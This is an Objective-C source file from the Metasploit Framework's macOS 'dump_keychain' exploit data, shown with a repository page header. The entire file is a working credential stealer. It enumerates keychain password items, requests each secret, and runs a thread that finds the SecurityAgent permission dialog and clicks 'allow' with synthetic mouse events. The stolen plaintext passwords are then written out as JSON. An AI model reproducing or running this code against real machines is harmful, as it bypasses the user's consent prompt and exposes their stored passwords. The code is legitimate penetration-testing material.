metasploit-framework/data/exploits/osx/dump_keychain/dump.m

162 lines
5.0 KiB
Objective-C

// gcc dump.m -framework CoreFoundation -framework Security -framework Cocoa -o dump
#import <Cocoa/Cocoa.h>
#import <CoreFoundation/CoreFoundation.h>
#import <Security/Security.h>
#include <ApplicationServices/ApplicationServices.h>
#include <unistd.h>
#include <pthread.h>
#define TIMEOUT 3
void click(float x, float y) {
CGEventRef move1 = CGEventCreateMouseEvent(
NULL, kCGEventMouseMoved,
CGPointMake(x, y),
kCGMouseButtonLeft // ignored
);
CGEventRef click1_down = CGEventCreateMouseEvent(
NULL, kCGEventLeftMouseDown,
CGPointMake(x, y),
kCGMouseButtonLeft
);
CGEventRef click1_up = CGEventCreateMouseEvent(
NULL, kCGEventLeftMouseUp,
CGPointMake(x, y),
kCGMouseButtonLeft
);
CGEventPost(kCGHIDEventTap, move1);
CGEventPost(kCGHIDEventTap, click1_down);
CGEventPost(kCGHIDEventTap, click1_up);
// Release the events
CFRelease(move1);
CFRelease(click1_up);
CFRelease(click1_down);
}
void parse_windows(int offx, int offy) {
CFArrayRef windowList = CGWindowListCopyWindowInfo(kCGWindowListOptionOnScreenOnly, kCGNullWindowID);
for (NSMutableDictionary* entry in (NSArray*)windowList)
{
CGRect rect;
NSString* ownerName = [entry objectForKey:(id)kCGWindowOwnerName];
if ([ownerName isEqualToString: @"SecurityAgent"]) {
CFDictionaryRef bounds = (CFDictionaryRef)[entry objectForKey:(id)kCGWindowBounds];
CGRectMakeWithDictionaryRepresentation(bounds, &rect);
float spotx = rect.origin.x + 385 + offx;
float spoty = rect.origin.y + rect.size.height - 25 + offy;
click(spotx, spoty);
}
}
CFRelease(windowList);
}
void poll_ui() {
while(1) {
sleep(0.0001);
parse_windows(0, 0);
}
}
id tQuery = NULL;
CFTypeRef result = NULL;
void prompt() {
SecItemCopyMatching((__bridge CFDictionaryRef)tQuery, &result);
}
void dump(NSArray *refs) {
NSData *jsonData = [NSJSONSerialization dataWithJSONObject: refs
options:NSJSONWritingPrettyPrinted // Pass 0 if you don't care about the readability of the generated string
error: NULL];
[jsonData writeToFile: @"/dev/stdout" atomically: NO];
}
int main() {
pthread_t thread_prompt, thread_click;
NSArray *secItemClasses = [NSArray arrayWithObjects:
(__bridge id)kSecClassGenericPassword,
(__bridge id)kSecClassInternetPassword,
nil];
NSMutableDictionary *query = [NSMutableDictionary dictionaryWithObjectsAndKeys:
(__bridge id)kSecMatchLimitAll, (__bridge id)kSecMatchLimit,
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnAttributes,
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnRef,
nil];
NSMutableArray *refs = [NSMutableArray new];
for (id secItemClass in secItemClasses) {
[query setObject:secItemClass forKey:(__bridge id)kSecClass];
CFTypeRef result1 = NULL;
SecItemCopyMatching((__bridge CFDictionaryRef)query, &result1);
NSArray *data = (__bridge NSArray*)result1;
if (data) {
for (NSDictionary *item in data) {
if (!item) continue;
NSMutableDictionary *newItem = [NSMutableDictionary new];
for (NSString* key in item) {
[newItem setObject:[[item objectForKey: key] description] forKey: key];
}
[newItem setObject:[item objectForKey: @"v_Ref"] forKey: @"v_Ref"];
[refs addObject: newItem];
}
if (result1 != NULL) CFRelease(result1);
}
}
NSMutableArray *all = [NSMutableArray new];
for (id ref in refs) {
tQuery = [NSMutableDictionary dictionaryWithObjectsAndKeys:
(__bridge id)[ref objectForKey: @"v_Ref"], (__bridge id)kSecValueRef,
(__bridge id)kCFBooleanTrue, (__bridge id)kSecReturnData,
nil];
for (id secItemClass in secItemClasses) {
[tQuery setObject:secItemClass forKey:(__bridge id)kSecClass];
result = NULL;
pthread_create(&thread_click, NULL, (void*)poll_ui, NULL);
pthread_create(&thread_prompt, NULL, (void*)prompt, NULL);
time_t end = time(NULL) + TIMEOUT;
int found = 0;
while(time(NULL) < end) {
if (result != NULL) {
found = 1;
break;
}
sleep(0.1);
}
pthread_cancel(thread_click);
pthread_cancel(thread_prompt);
[ref removeObjectForKey: @"v_Ref"];
// we didnt find anything in TIMEOUT seconds. this can happen if the keychain
// is locked
if (!found) {
parse_windows(-80, 0); // click cancel
dump(all); // get out now
return 0;
}
NSString *pass = @"(null)";
if (result && [result bytes]) {
pass = [NSString stringWithUTF8String:[result bytes]];
if (!pass) pass = @"(null)";
} else {
pass = @"(null)";
}
[ref setObject:pass forKey: @"Private"];
[all addObject: ref];
}
}
dump(all);
return 0;
}